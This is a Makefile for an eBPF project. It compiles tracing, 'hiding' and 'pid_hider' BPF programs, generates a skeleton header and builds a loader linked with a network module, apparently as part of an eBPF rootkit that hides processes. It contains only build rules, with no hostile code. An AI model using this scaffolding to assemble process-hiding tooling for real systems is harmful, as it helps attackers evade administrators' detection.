CC=clang
CFLAGS=-O3 -g -target bpf -D__TARGET_ARCH_x86
TRACING_SRC=src/tracing.bpf.c
HIDING_SRC=src/hiding.bpf.c
PID_HIDER_SRC=src/pid_hider.bpf.c
TRACING_OBJ=tracing.o
HIDING_OBJ=hiding.o
PID_HIDER_OBJ=pid_hider.o
LOADER_SRC=src/loader.c
LOADER=loader
BPFTOOL_PATH=/sys/kernel/btf/vmlinux
INCLUDE_DIR=include

PID_HIDER_SKEL_H=pid_hider.skel.h
PID_HIDER_SKELETON_H=src/pid_hider.skel.h

all: install

install: btf_dump $(HIDING_OBJ) $(TRACING_OBJ) $(PID_HIDER_OBJ) $(PID_HIDER_SKELETON_H) $(LOADER)
	@echo "Installation complete."

$(TRACING_OBJ): $(TRACING_SRC)
	$(CC) $(CFLAGS) -c $(TRACING_SRC) -o $(TRACING_OBJ)

$(HIDING_OBJ): $(HIDING_SRC)
	$(CC) $(CFLAGS) -c $(HIDING_SRC) -o $(HIDING_OBJ)

$(PID_HIDER_OBJ): $(PID_HIDER_SRC)
	$(CC) $(CFLAGS) -c $(PID_HIDER_SRC) -o $(PID_HIDER_OBJ)

$(PID_HIDER_SKELETON_H): $(PID_HIDER_OBJ)
	bpftool gen skeleton $(PID_HIDER_OBJ) name pid_hider_bpf > $(PID_HIDER_SKELETON_H)

$(LOADER): $(LOADER_SRC)
	gcc -g -o $(LOADER) src/network.c $(LOADER_SRC) -lbpf -lelf

clean:
	@echo "Cleaning up..."
	rm -f $(TRACING_OBJ) $(HIDING_OBJ) $(PID_HIDER_OBJ) $(LOADER) $(PID_HIDER_SKELETON_H) $(INCLUDE_DIR)/vmlinux.h

btf_dump:
	bpftool btf dump file $(BPFTOOL_PATH) format c > $(INCLUDE_DIR)/vmlinux.h

.PHONY: all install clean btf_dump

